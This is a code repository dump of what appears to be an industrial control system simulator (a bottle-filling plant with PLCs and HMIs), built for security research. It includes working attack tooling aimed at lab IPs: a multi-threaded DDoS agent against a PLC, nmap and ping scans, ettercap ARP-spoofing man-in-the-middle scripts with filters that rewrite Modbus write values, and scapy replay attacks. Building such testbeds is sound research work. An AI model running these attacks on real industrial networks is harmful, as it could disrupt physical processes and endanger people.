34 |
35 | def _logic(self):
36 | try:
37 | for index_counter in range(self.chunk):
38 | value = self._receive(self.__target)
39 | self.__counter += self.chunk
40 |
41 | except Exception as e:
42 | self.report(f'get exception on {self.name()} while sending read requests {self.__counter}. (error = {e})',
43 | logging.INFO)
44 |
45 | def _post_logic_update(self):
46 | latency = self.get_logic_execution_time() / self.chunk
47 | if latency > DDosAgent.max:
48 | DDosAgent.max = latency
49 | # self.report('Max seen latency reached to {}'.format(DDosAgent.max), logging.INFO)
50 | if self.__counter % 1000 < self.chunk:
51 | self.report('{} sent {} read request for {} '.format(self.name(), self.__counter, self.__target, ),
52 | logging.INFO)
53 |
54 | def _initialize_logger(self):
55 | self._logger = self.__shared_logger
56 |
57 | def _before_stop(self):
58 | self.report(f'sent {self.__counter} massages before stop max latency is {DDosAgent.max}')
59 |
60 | @staticmethod
61 | def get_args():
62 | parser = argparse.ArgumentParser(description='PCAP reader')
63 |
64 | parser.add_argument('name_prefix', metavar='Name prefix of agent',
65 | help='This name prefix will be part of agent name!')
66 |
67 | parser.add_argument('--target', metavar='IP of PLC',
68 | help='IP of PLC which is target of attack!', default='192.168.0.11',
69 | required=True)
70 |
71 | parser.add_argument('--log_path', metavar='Log file',
72 | help='the file to write logs!', default='./logs/attack-logs/log-ddos.log',
73 | required=True)
74 |
75 | parser.add_argument('--timeout', metavar='timeout for attack', type=float, default=60,
76 | help='interval to apply attack', required=False)
77 |
78 | return parser.parse_args()
79 |
80 |
81 | if __name__ == '__main__':
82 | args = DDosAgent.get_args()
83 |
84 | directory, filename = os.path.split(args.log_path)
85 | filename, extension = os.path.splitext(filename)
86 | logger = Runnable.setup_logger(
87 | filename,
88 | logging.Formatter('%(asctime)s %(levelname)s %(message)s'),
89 | file_dir=directory,
90 | file_ext='.txt',
91 | write_mode='a',
92 | level=logging.INFO
93 | )
94 |
95 | attackers_count = 70
96 |
97 | attacker_list = []
98 | for i in range(attackers_count):
99 | attacker_list.append(
100 | DDosAgent(name=f'DDoS_Agent_{args.name_prefix}_{i}', target_ip=args.target, shared_logger=logger))
101 |
102 | for attacker in attacker_list:
103 | attacker.start()
104 |
105 | sleep(args.timeout)
106 |
107 | for attacker in attacker_list:
108 | attacker.stop()
109 |
--------------------------------------------------------------------------------
/src/FactorySimulation.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from ics_sim.Device import HIL
4 | from Configs import TAG, PHYSICS, Connection
5 |
6 |
7 | class FactorySimulation(HIL):
8 | def __init__(self):
9 | super().__init__('Factory', Connection.CONNECTION, 100)
10 | self.init()
11 |
12 | def _logic(self):
13 | elapsed_time = self._current_loop_time - self._last_loop_time
14 |
15 | # update tank water level
16 | tank_water_amount = self._get(TAG.TAG_TANK_LEVEL_VALUE) * PHYSICS.TANK_LEVEL_CAPACITY
17 | if self._get(TAG.TAG_TANK_INPUT_VALVE_STATUS):
18 | tank_water_amount += PHYSICS.TANK_INPUT_FLOW_RATE * elapsed_time
19 |
20 | if self._get(TAG.TAG_TANK_OUTPUT_VALVE_STATUS):
21 | tank_water_amount -= PHYSICS.TANK_OUTPUT_FLOW_RATE * elapsed_time
22 |
23 | tank_water_level = tank_water_amount / PHYSICS.TANK_LEVEL_CAPACITY
24 |
25 | if tank_water_level > PHYSICS.TANK_MAX_LEVEL:
26 | tank_water_level = PHYSICS.TANK_MAX_LEVEL
27 | self.report('tank water overflowed', logging.WARNING)
28 | elif tank_water_level <= 0:
29 | tank_water_level = 0
30 | self.report('tank water is empty', logging.WARNING)
31 |
32 | # update tank water flow
33 | tank_water_flow = 0
34 | if self._get(TAG.TAG_TANK_OUTPUT_VALVE_STATUS) and tank_water_amount > 0:
35 | tank_water_flow = PHYSICS.TANK_OUTPUT_FLOW_RATE
36 |
37 | # update bottle water
38 | if self._get(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE) > 1:
39 | bottle_water_amount = 0
40 | if self._get(TAG.TAG_TANK_OUTPUT_FLOW_VALUE):
41 | self.report('water is wasting', logging.WARNING)
42 | else:
43 | bottle_water_amount = self._get(TAG.TAG_BOTTLE_LEVEL_VALUE) * PHYSICS.BOTTLE_LEVEL_CAPACITY
44 | bottle_water_amount += self._get(TAG.TAG_TANK_OUTPUT_FLOW_VALUE) * elapsed_time
45 |
46 | bottle_water_level = bottle_water_amount / PHYSICS.BOTTLE_LEVEL_CAPACITY
47 |
48 | if bottle_water_level > PHYSICS.BOTTLE_MAX_LEVEL:
49 | bottle_water_level = PHYSICS.BOTTLE_MAX_LEVEL
50 | self.report('bottle water overflowed', logging.WARNING)
51 |
52 | # update bottle position
53 | bottle_distance_to_filler = self._get(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE)
54 | if self._get(TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS):
55 | bottle_distance_to_filler -= elapsed_time * PHYSICS.CONVEYOR_BELT_SPEED
56 | bottle_distance_to_filler %= PHYSICS.BOTTLE_DISTANCE
57 |
58 | # update physical properties
59 | self._set(TAG.TAG_TANK_LEVEL_VALUE, tank_water_level)
60 | self._set(TAG.TAG_TANK_OUTPUT_FLOW_VALUE, tank_water_flow)
61 | self._set(TAG.TAG_BOTTLE_LEVEL_VALUE, bottle_water_level)
62 | self._set(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE, bottle_distance_to_filler)
63 |
64 | def init(self):
65 | initial_list = []
66 | for tag in TAG.TAG_LIST:
67 | initial_list.append((tag, TAG.TAG_LIST[tag]['default']))
68 |
69 | self._connector.initialize(initial_list)
70 |
71 |
72 | @staticmethod
73 | def recreate_connection():
74 | return True
75 |
76 |
77 | if __name__ == '__main__':
78 | factory = FactorySimulation()
79 | factory.start()
80 |
--------------------------------------------------------------------------------
/src/HMI1.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from datetime import datetime
3 |
4 | from ics_sim.Device import HMI
5 | from Configs import TAG, Controllers
6 |
7 |
8 | class HMI1(HMI):
9 | def __init__(self):
10 | super().__init__('HMI1', TAG.TAG_LIST, Controllers.PLCs, 500)
11 |
12 | self._rows = {}
13 | self.title_length = 27
14 | self.msg1_length = 21
15 | self.msg2_length = 10
16 | self._border = '-' * (self.title_length + self.msg1_length + self.msg2_length + 4)
17 |
18 | self._border_top = \
19 | "┌" + "─" * self.title_length + "┬" + "─" * self.msg1_length + "┬" + "─" * self.msg2_length + "┐"
20 | self._border_mid = \
21 | "├" + "─" * self.title_length + "┼" + "─" * self.msg1_length + "┼" + "─" * self.msg2_length + "┤"
22 | self._border_bot = \
23 | "└" + "─" * self.title_length + "┴" + "─" * self.msg1_length + "┴" + "─" * self.msg2_length + "┘"
24 |
25 | self.cellVerticalLine = "│"
26 |
27 | for tag in self.tags:
28 | pos = tag.rfind('_')
29 | tag_name = tag[0:pos]
30 | if not self._rows.keys().__contains__(tag_name):
31 | self._rows[tag_name] = {'tag': tag_name.center(self.title_length, ' '), 'msg1': '', 'msg2': ''}
32 |
33 | self._latency = 0
34 |
35 | def _display(self):
36 |
37 | self.__show_table()
38 |
39 | def _operate(self):
40 | self.__update_massages()
41 |
42 | def __update_massages(self):
43 | self._latency = 0
44 |
45 | for row in self._rows:
46 | self._rows[row]['msg1'] = ''
47 | self._rows[row]['msg2'] = ''
48 |
49 | for tag in self.tags:
50 | pos = tag.rfind('_')
51 | row = tag[0:pos]
52 | attribute = tag[pos + 1:]
53 |
54 | if attribute == 'value' or attribute == 'status':
55 | self._rows[row]['msg2'] += self.__get_formatted_value(tag)
56 | elif attribute == 'max':
57 | self._rows[row]['msg1'] += self.__get_formatted_value(tag)
58 | self._rows[row]['msg1'] = self._make_text(self._rows[row]['msg1'].center(self.msg1_length, " "), self.COLOR_GREEN)
59 | else:
60 | self._rows[row]['msg1'] += self.__get_formatted_value(tag)
61 |
62 | for row in self._rows:
63 | if self._rows[row]['msg1'] == '':
64 | self._rows[row]['msg1'] = ''.center(self.msg1_length, ' ')
65 | if self._rows[row]['msg2'] == '':
66 | self._rows[row]['msg2'] = ''.center(self.msg1_length, ' ')
67 |
68 | def __get_formatted_value(self, tag):
69 | timestamp = datetime.now()
70 | pos = tag.rfind('_')
71 | tag_name = tag[0:pos]
72 | tag_attribute = tag[pos + 1:]
73 |
74 | try:
75 | value = self._receive(tag)
76 | except Exception as e:
77 | self.report(e.__str__(), logging.WARNING)
78 | value = 'NULL'
79 |
80 | if tag_attribute == 'mode':
81 | if value == 1:
82 | value = self._make_text('Off manually'.center(self.msg1_length, " "), self.COLOR_YELLOW)
83 | elif value == 2:
84 | value = self._make_text('On manually'.center(self.msg1_length, " "), self.COLOR_YELLOW)
85 | elif value == 3:
86 | value = self._make_text('Auto'.center(self.msg1_length, " "), self.COLOR_GREEN)
87 | else:
88 |
89 | value = self._make_text(str(value).center(self.msg1_length, " "), self.COLOR_RED)
90 |
91 | elif tag_attribute == 'status' or self.tags[tag]['id'] == 7:
92 | if value == 'NULL':
93 | value = self._make_text(value.center(self.msg2_length, " "), self.COLOR_RED)
94 | elif value:
95 | value = self._make_text('>>>'.center(self.msg2_length, " "), self.COLOR_BLUE)
96 | else:
97 | value = self._make_text('X'.center(self.msg2_length, " "), self.COLOR_RED)
98 |
99 | elif tag_attribute == 'min':
100 | value = 'Min:' + str(value) + ' '
101 |
102 | elif tag_attribute == 'max':
103 | value = 'Max:' + str(value)
104 |
105 | elif value == 'NULL':
106 | value = self._make_text(value.center(self.msg2_length, " "), self.COLOR_RED)
107 | else:
108 | value = self._make_text(str(value).center(self.msg2_length, " "), self.COLOR_CYAN)
109 |
110 | elapsed = datetime.now() - timestamp
111 |
112 | if elapsed.microseconds > self._latency:
113 | self._latency = elapsed.microseconds
114 | return value
115 |
116 | def __show_table(self):
117 | result = " (Latency {}ms)\n".format(self._latency / 1000)
118 |
119 | first = True
120 | for row in self._rows:
121 | if first:
122 | result += self._border_top + "\n"
123 | first = False
124 | else:
125 | result += self._border_mid + "\n"
126 |
127 | result += '│{}│{}│{}│\n'.format(self._rows[row]['tag'], self._rows[row]['msg1'], self._rows[row]['msg2'])
128 |
129 | result += self._border_bot + "\n"
130 |
131 | self.report(result)
132 |
133 |
134 | if __name__ == '__main__':
135 | hmi1 = HMI1()
136 | hmi1.start()
137 |
--------------------------------------------------------------------------------
/src/HMI2.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import os
3 | import sys
4 |
5 | from ics_sim.Device import HMI
6 | from Configs import TAG, Controllers
7 |
8 |
9 | class HMI2(HMI):
10 | def __init__(self):
11 | super().__init__('HMI2', TAG.TAG_LIST, Controllers.PLCs)
12 |
13 | def _display(self):
14 | menu_line = '{}) To change the {} press {} \n'
15 |
16 | menu = '\n'
17 |
18 | menu += self.__get_menu_line(1, 'empty level of tank')
19 | menu += self.__get_menu_line(2, 'full level of tank')
20 | menu += self.__get_menu_line(3, 'full level of bottle')
21 | menu += self.__get_menu_line(4, 'status of tank Input valve')
22 | menu += self.__get_menu_line(5, 'status of tank output valve')
23 | menu += self.__get_menu_line(6, 'status of conveyor belt engine')
24 | self.report(menu)
25 |
26 | def __get_menu_line(self, number, text):
27 | return '{} To change the {} press {} \n'.format(
28 | self._make_text(str(number)+')', self.COLOR_BLUE),
29 | self._make_text(text, self.COLOR_GREEN),
30 | self._make_text(str(number), self.COLOR_BLUE)
31 | )
32 |
33 | def _operate(self):
34 | try:
35 | choice = self.__get_choice()
36 | input1, input2 = choice
37 | if input1 == 1:
38 | self._send(TAG.TAG_TANK_LEVEL_MIN, input2)
39 |
40 | elif input1 == 2:
41 | self._send(TAG.TAG_TANK_LEVEL_MAX, input2)
42 |
43 | elif input1 == 3:
44 | self._send(TAG.TAG_BOTTLE_LEVEL_MAX, input2)
45 |
46 | elif input1 == 4:
47 | self._send(TAG.TAG_TANK_INPUT_VALVE_MODE, input2)
48 |
49 | elif input1 == 5:
50 | self._send(TAG.TAG_TANK_OUTPUT_VALVE_MODE, input2)
51 |
52 | elif input1 == 6:
53 | self._send(TAG.TAG_CONVEYOR_BELT_ENGINE_MODE, input2)
54 |
55 | except ValueError as e:
56 | self.report(e.__str__())
57 | except Exception as e:
58 | self.report('The input is invalid' + e.__str__())
59 |
60 | input('press inter to continue ...')
61 |
62 | def __get_choice(self):
63 | input1 = int(input('your choice (1 to 6): '))
64 | if input1 < 1 or input1 > 6:
65 | raise ValueError('just integer values between 1 and 6 are acceptable')
66 |
67 | if input1 <= 3:
68 | input2 = float(input('Specify set point (positive real value): '))
69 | if input2 < 0:
70 | raise ValueError('Negative numbers are not acceptable.')
71 | else:
72 | sub_menu = '\n'
73 | sub_menu += "1) Send command for manually off\n"
74 | sub_menu += "2) Send command for manually on\n"
75 | sub_menu += "3) Send command for auto operation\n"
76 | self.report(sub_menu)
77 | input2 = int(input('Command (1 to 3): '))
78 | if input2 < 1 or input2 > 3:
79 | raise ValueError('Just 1, 2, and 3 are acceptable for command')
80 |
81 | return input1, input2
82 |
83 |
84 | if __name__ == '__main__':
85 | hmi2 = HMI2()
86 | hmi2.start()
--------------------------------------------------------------------------------
/src/HMI3.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import os
3 | import sys
4 | import time
5 | import random
6 |
7 | from ics_sim.Device import HMI
8 | from Configs import TAG, Controllers
9 |
10 |
11 | class HMI3(HMI):
12 | def __init__(self):
13 | super().__init__('HMI3', TAG.TAG_LIST, Controllers.PLCs)
14 |
15 |
16 | def _before_start(self):
17 | HMI._before_start(self)
18 |
19 | while True:
20 | response = input("Do you want to start auto manipulation of factory setting? \n")
21 | response = response.lower()
22 | if response == 'y' or response == 'yes':
23 | self._set_clear_scr(False)
24 | self.random_values = [["TANK LEVEL MIN" , 1 , 4.5] ,["TANK LEVEL MAX" , 5.5 , 9],["BOTTLE LEVEL MAX" , 1 , 1.9]]
25 | break
26 | else:
27 | continue
28 |
29 | def _display(self):
30 | n = random.randint(5, 20)
31 | print("Sleep for {} seconds \n".format(n))
32 | time.sleep(n)
33 |
34 |
35 | def _operate(self):
36 | try:
37 | choice = self.__get_choice()
38 | input1, input2 = choice
39 | if input1 == 1:
40 | self._send(TAG.TAG_TANK_LEVEL_MIN, input2)
41 |
42 | elif input1 == 2:
43 | self._send(TAG.TAG_TANK_LEVEL_MAX, input2)
44 |
45 | elif input1 == 3:
46 | self._send(TAG.TAG_BOTTLE_LEVEL_MAX, input2)
47 |
48 | except ValueError as e:
49 | self.report(e.__str__())
50 | except Exception as e:
51 | self.report('The input is invalid' + e.__str__())
52 |
53 | print('set {} to the {} automatically'.format(self.random_values[input1-1][0], input2))
54 |
55 | def __get_choice(self):
56 | input1 = random.randint(1, len(self.random_values))
57 | print(self.random_values)
58 | print(input1)
59 | input2 = random.uniform(self.random_values[input1-1][1] , self.random_values[input1-1][2])
60 | print (input2)
61 | return input1, input2
62 |
63 |
64 |
65 | if __name__ == '__main__':
66 | hmi3= HMI3()
67 | hmi3.start()
--------------------------------------------------------------------------------
/src/MQTTSampleConnection.txt:
--------------------------------------------------------------------------------
1 | # it will skipp lines with # signs
2 |
3 | type: MQTT
4 | address:
5 | port: <1883>
6 | topic:
7 |
8 |
9 | # username:
10 | # password
--------------------------------------------------------------------------------
/src/MqttHelper.py:
--------------------------------------------------------------------------------
1 | import paho.mqtt.client as paho
2 |
3 | def read_mqtt_params(path):
4 | params = {}
5 |
6 | try:
7 | with open(path, 'r') as file:
8 | for line in file:
9 | if not line.strip():
10 | continue
11 |
12 | if line.strip().startswith("#"):
13 | continue
14 | # Split each line into key and value using ':' as the delimiter
15 | key, value = map(str.strip, line.split(':', 1))
16 | params[key] = value
17 |
18 | except FileNotFoundError:
19 | err_msg = 'Error: File not found.'
20 | raise Exception(err_msg)
21 | except Exception as e:
22 | err_msg = 'Error: cannot read from File.' + e.__str__()
23 | raise Exception(err_msg)
24 |
25 | return params
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/src/PLC1.py:
--------------------------------------------------------------------------------
1 | from ics_sim.Device import PLC, SensorConnector, ActuatorConnector
2 | from Configs import TAG, Controllers, Connection
3 | import logging
4 |
5 |
6 | class PLC1(PLC):
7 | def __init__(self):
8 | sensor_connector = SensorConnector(Connection.CONNECTION)
9 | actuator_connector = ActuatorConnector(Connection.CONNECTION)
10 | super().__init__(1, sensor_connector, actuator_connector, TAG.TAG_LIST, Controllers.PLCs)
11 |
12 | def _logic(self):
13 | # update TAG.TAG_TANK_INPUT_VALVE_STATUS
14 |
15 | if not self._check_manual_input(TAG.TAG_TANK_INPUT_VALVE_MODE, TAG.TAG_TANK_INPUT_VALVE_STATUS):
16 | tank_level = self._get(TAG.TAG_TANK_LEVEL_VALUE)
17 | if tank_level > self._get(TAG.TAG_TANK_LEVEL_MAX):
18 | self._set(TAG.TAG_TANK_INPUT_VALVE_STATUS, 0)
19 | elif tank_level < self._get(TAG.TAG_TANK_LEVEL_MIN):
20 | self._set(TAG.TAG_TANK_INPUT_VALVE_STATUS, 1)
21 |
22 | # update TAG.TAG_TANK_OUTPUT_VALVE_STATUS
23 | if not self._check_manual_input(TAG.TAG_TANK_OUTPUT_VALVE_MODE, TAG.TAG_TANK_OUTPUT_VALVE_STATUS):
24 | bottle_level = self._get(TAG.TAG_BOTTLE_LEVEL_VALUE)
25 | belt_position = self._get(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE)
26 | if bottle_level > self._get(TAG.TAG_BOTTLE_LEVEL_MAX) or belt_position > 1.0:
27 | self._set(TAG.TAG_TANK_OUTPUT_VALVE_STATUS, 0)
28 | else:
29 | self._set(TAG.TAG_TANK_OUTPUT_VALVE_STATUS, 1)
30 |
31 | def _post_logic_update(self):
32 | super()._post_logic_update()
33 | #self.report("{} {}".format( self.get_alive_time() / 1000, self.get_loop_latency() / 1000), logging.INFO)
34 |
35 |
36 | if __name__ == '__main__':
37 | plc1 = PLC1()
38 | plc1.set_record_variables(True)
39 | plc1.start()
40 |
--------------------------------------------------------------------------------
/src/PLC2.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import time
3 |
4 | from ics_sim.Device import PLC, SensorConnector, ActuatorConnector
5 | from Configs import TAG, Connection, Controllers
6 |
7 |
8 | class PLC2(PLC):
9 | def __init__(self):
10 | sensor_connector = SensorConnector(Connection.CONNECTION)
11 | actuator_connector = ActuatorConnector(Connection.CONNECTION)
12 | super().__init__(2, sensor_connector, actuator_connector, TAG.TAG_LIST, Controllers.PLCs)
13 |
14 | def _logic(self):
15 | if not self._check_manual_input(TAG.TAG_CONVEYOR_BELT_ENGINE_MODE, TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS):
16 | t1 = time.time()
17 | flow = self._get(TAG.TAG_TANK_OUTPUT_FLOW_VALUE)
18 |
19 | belt_position = self._get(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE)
20 | bottle_level = self._get(TAG.TAG_BOTTLE_LEVEL_VALUE)
21 |
22 | if (belt_position > 1) or (flow == 0 and bottle_level > self._get(TAG.TAG_BOTTLE_LEVEL_MAX)):
23 | self._set(TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS, 1)
24 | else:
25 | self._set(TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS, 0)
26 |
27 |
28 | if __name__ == '__main__':
29 | plc2 = PLC2()
30 | plc2.set_record_variables(True)
31 | plc2.start()
32 |
--------------------------------------------------------------------------------
/src/attacks/command-injection.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #cd src
4 | sudo chmod 777 $1
5 |
6 | python3 CommandInjectionAgent.py 30
7 |
8 | sudo chmod 777 $2
9 |
--------------------------------------------------------------------------------
/src/attacks/ddos.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | log-dir = $1
3 | log-file = $2
4 | sudo chmod 777 $1
5 | echo "">$2
6 | python3 DDosAgent.py 'A' &
7 | python3 DDosAgent.py 'B' &
8 | python3 DDosAgent.py 'C' &
9 | python3 DDosAgent.py 'D' &
10 | #python3 DDosAgent.py 'E' &
11 | #python3 DDosAgent.py 'F' &
12 | #python3 DDosAgent.py 'G' &
13 | #python3 DDosAgent.py 'H' &
14 | #python3 DDosAgent.py 'I' &
15 | python3 DDosAgent.py 'J'
16 |
17 | sudo chmod 777 $2
18 |
--------------------------------------------------------------------------------
/src/attacks/mitm-ettercap.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #cd src
4 | cd attacks/mitm
5 | chmod 777 .
6 |
7 | etterfilter mitm.ecf -o mitm.ef
8 | ettercap -Tqi eth0 -F mitm.ef -w ettercap-packets.pcap -M arp /192.168.0.11// /192.168.0.22//
9 | #ettercap -Tqi eth0 -w ettercap-packets.pcap -F mitm.ef -M arp /192.168.0.11// /192.168.0.22//
10 |
11 |
--------------------------------------------------------------------------------
/src/attacks/mitm-scapy.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #cd src
4 | sudo echo 0 > /proc/sys/net/ipv4/ip_forward
5 | sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack mitm --timeout 30 --parameter 0.1 --target '192.168.0.1/24'
6 | #sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack mitm --timeout 15 --parameter 0.2 --target '192.168.0.11,192.168.0.21'
7 | #sudo python3 Replay.py
8 | sudo echo 1 > /proc/sys/net/ipv4/ip_forward
9 |
--------------------------------------------------------------------------------
/src/attacks/mitm/ettercap-packets.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/attacks/mitm/ettercap-packets.pcap
--------------------------------------------------------------------------------
/src/attacks/mitm/mitm (copy).ecf:
--------------------------------------------------------------------------------
1 | if (ip.src == '192.168.0.22' && ip.dst == '192.168.0.11') {
2 | if (ip.proto == TCP && tcp.dst == 502 && DATA.data + 6 == "\x01" && DATA.data + 7 == "\x10") {
3 | DATA.data + 15 ="\x9c\x40";
4 | msg("Replaced");
5 |
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/src/attacks/mitm/mitm-INT-42.ecf:
--------------------------------------------------------------------------------
1 | if (ip.src == '192.168.0.22' && ip.dst == '192.168.0.11') {
2 | if (ip.proto == TCP && tcp.dst == 502) {
3 | DATA.data + 4 = "YYZZ";
4 | msg("Replaced");
5 |
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/src/attacks/mitm/mitm.ecf:
--------------------------------------------------------------------------------
1 | if (ip.src == '192.168.0.22' && ip.dst == '192.168.0.11') {
2 | if (ip.proto == TCP && tcp.dst == 502 && DATA.data + 6 == "\x01" && DATA.data + 7 == "\x10") {
3 | DATA.data + 15 ="\x9c\x40";
4 | msg("Replaced3");
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/src/attacks/mitm/mitm.ef:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/attacks/mitm/mitm.ef
--------------------------------------------------------------------------------
/src/attacks/mitm/mitm.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #cd src
4 | cd attacks/mitm
5 | chmod 777 .
6 |
7 | etterfilter mitm.ecf -o mitm.ef
8 | ettercap -Tqi eth0 -F mitm.ef -w ettercap-packets.pcap -M arp /192.168.0.11// /192.168.0.22//
9 | #ettercap -Tqi eth0 -w ettercap-packets.pcap -F mitm.ef -M arp /192.168.0.11// /192.168.0.22//
10 |
11 |
--------------------------------------------------------------------------------
/src/attacks/replay-scapy.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #cd src
4 | sudo chmod 777 $1
5 | #sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack replay --timeout 15 --parameter 3 --target '192.168.0.1/24'
6 | sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack replay --timeout 15 --parameter 3 --target '192.168.0.11,192.168.0.22'
7 | sudo chmod 777 $2
8 |
--------------------------------------------------------------------------------
/src/attacks/scan-ettercap.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #cd src
3 | #log-dir = $1
4 | #log-file = $2
5 | sudo chmod 777 $1
6 |
7 | sudo -S ettercap -Tq -Q --save-hosts $2 -i eth0
8 | #sudo -S ettercap -Tq -Q --save-hosts ./../ics_sim/attacks/attack-logs/scan_ettercap.txt -i eth0
9 |
10 | sudo chmod 777 $2
11 |
12 |
--------------------------------------------------------------------------------
/src/attacks/scan-nmap.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #cd src
4 | #log-dir = $1
5 | #log-file = $2
6 | sudo chmod 777 $1
7 |
8 |
9 | nmap -p- -oN $2 192.168.0.1-255
10 |
11 | sudo chmod 777 $2
12 |
13 |
14 |
--------------------------------------------------------------------------------
/src/attacks/scan-ping.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #cd src
3 | #log-dir = $1
4 | #log-file = $2
5 | sudo chmod 777 $1
6 |
7 | x=1; while [ $x -lt "50" ]; do ping -t 1 -c 1 192.168.0.$x | grep "byte from" | awk '{print $4 " up"}'; let x++; done > $2
8 |
9 | sudo chmod 777 $2
10 |
--------------------------------------------------------------------------------
/src/attacks/scan-scapy.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #cd src
4 | sudo chmod 777 $1
5 | sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack scan --timeout 10 --target '192.168.0.1/24'
6 | sudo chmod 777 $2
7 |
8 |
--------------------------------------------------------------------------------
/src/ics_sim/Attack/__pycache__/ModbusCommand.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/ics_sim/Attack/__pycache__/ModbusCommand.cpython-310.pyc
--------------------------------------------------------------------------------
/src/ics_sim/Attack/__pycache__/ModbusPackets.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/ics_sim/Attack/__pycache__/ModbusPackets.cpython-310.pyc
--------------------------------------------------------------------------------
/src/ics_sim/Attack/__pycache__/NetworkNode.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/ics_sim/Attack/__pycache__/NetworkNode.cpython-310.pyc
--------------------------------------------------------------------------------
/src/ics_sim/Attacks.py:
--------------------------------------------------------------------------------
1 | import subprocess
2 |
3 |
4 | def __make_dir_editable(path):
5 | bash_command = f'chmod 777 {path}'
6 | subprocess.run(bash_command, shell=True, check=True)
7 |
8 |
9 | def _do_scan_scapy_attack(log_dir, log_file, target, timeout=10):
10 | bash_command = ['python3',
11 | 'ics_sim/ScapyAttacker.py',
12 | '--output', log_file,
13 | '--attack', 'scan',
14 | '--timeout', str(timeout),
15 | '--target', target]
16 |
17 | _do_attack(log_dir, log_file, bash_command)
18 |
19 |
20 | def _do_replay_scapy_attack(log_dir, log_file, target, timeout=15, replay_count=3):
21 | bash_command = ['python3',
22 | 'ics_sim/ScapyAttacker.py',
23 | '--output', log_file,
24 | '--attack', 'replay',
25 | '--timeout', str(timeout),
26 | '--parameter', str(replay_count),
27 | '--target', target]
28 |
29 | _do_attack(log_dir, log_file, bash_command)
30 |
31 |
32 | def _do_mitm_scapy_attack(log_dir, log_file, target, timeout=30, noise=0.1):
33 | subprocess.run(['echo', '0'], stdout=open('/proc/sys/net/ipv4/ip_forward',"w"))
34 | bash_command = ['python3',
35 | 'ics_sim/ScapyAttacker.py',
36 | '--output', log_file,
37 | '--attack', 'mitm',
38 | '--timeout', str(timeout),
39 | '--parameter', str(noise),
40 | '--target', target]
41 |
42 | _do_attack(log_dir, log_file, bash_command)
43 | subprocess.run(['echo', '1'], stdout=open('/proc/sys/net/ipv4/ip_forward',"w"))
44 |
45 |
46 | def _do_scan_nmap_attack(log_dir, log_file, target):
47 | bash_command = ['nmap',
48 | '-p-',
49 | '-oN', log_file,
50 | target]
51 |
52 | _do_attack(log_dir, log_file, bash_command)
53 |
54 |
55 | def _do_command_injection_attack(log_dir, log_file, command_injection_agent, command_counter=30):
56 | bash_command = ['python3',
57 | command_injection_agent,
58 | str(command_counter)]
59 |
60 | _do_attack(log_dir, log_file, bash_command)
61 |
62 |
63 | def _do_ddos_attack(log_dir, log_file, ddos_agent_path, timeout, num_process, target):
64 | __make_dir_editable(log_dir)
65 | processes_args = []
66 | processes = []
67 | for i in range(num_process):
68 | processes_args.append(f'python3 {ddos_agent_path} Agent{i} --timeout {timeout} --target {target} --log_path {log_file}'.split(' '))
69 |
70 | for i in range(num_process):
71 | processes.append(subprocess.Popen(processes_args[i]))
72 |
73 | for i in range(num_process):
74 | processes[i].wait()
75 |
76 | print('execution finished')
77 | __make_dir_editable(log_file)
78 |
79 |
80 | def _do_attack(log_dir, log_file, bash_command):
81 | __make_dir_editable(log_dir)
82 | print(bash_command)
83 | subprocess.run(bash_command)
84 | __make_dir_editable(log_file)
85 |
--------------------------------------------------------------------------------
/src/ics_sim/Device.py:
--------------------------------------------------------------------------------
1 | import multiprocessing
2 | import os
3 | import sys
4 | import threading
5 | import time
6 | import random
7 | from abc import ABC, abstractmethod
8 | from datetime import datetime
9 |
10 | from ics_sim.protocol import ProtocolFactory
11 | from ics_sim.configs import SpeedConfig
12 | from ics_sim.helper import current_milli_time, validate_type, current_milli_cycle_time
13 | from ics_sim.connectors import ConnectorFactory
14 |
15 | from multiprocessing import Process
16 | import logging
17 |
18 |
19 | class Physics(ABC):
20 | @abstractmethod
21 | def __init__(self, connection):
